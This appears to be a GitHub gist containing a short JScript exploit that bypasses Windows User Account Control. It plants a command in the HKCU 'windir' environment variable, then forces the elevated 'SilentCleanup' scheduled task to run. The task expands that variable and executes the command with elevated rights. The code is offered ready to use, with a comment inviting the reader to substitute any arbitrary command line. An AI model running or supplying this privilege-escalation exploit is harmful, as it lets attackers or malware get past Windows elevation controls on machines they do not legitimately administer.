Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
// Use COM API to access Task Scheduler.
var service = new ActiveXObject("Schedule.Service");
var root = service.GetFolder("\\Microsoft\\Windows\\DiskCleanup");
var task = root.GetTask("SilentCleanup");
// Replace this with your arbitrary command line. Note that what you call must be
// tolerant to trailing arguments and the windir enviroment variable won't get
// deleted so must be done manually otherwise things might start failing.
var CMD = "cmd.exe /K reg delete hkcu\\Environment /v windir /f && REM"
var script = new ActiveXObject("WScript.Shell");
script.RegWrite("HKCU\\Environment\\windir", CMD + " ", "REG_SZ");
// 2 == TASK_RUN_IGNORE_CONSTRAINTS which is needed otherwise task won't run due to Idle settings.
task.RunEx(null, 2, 0, "");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.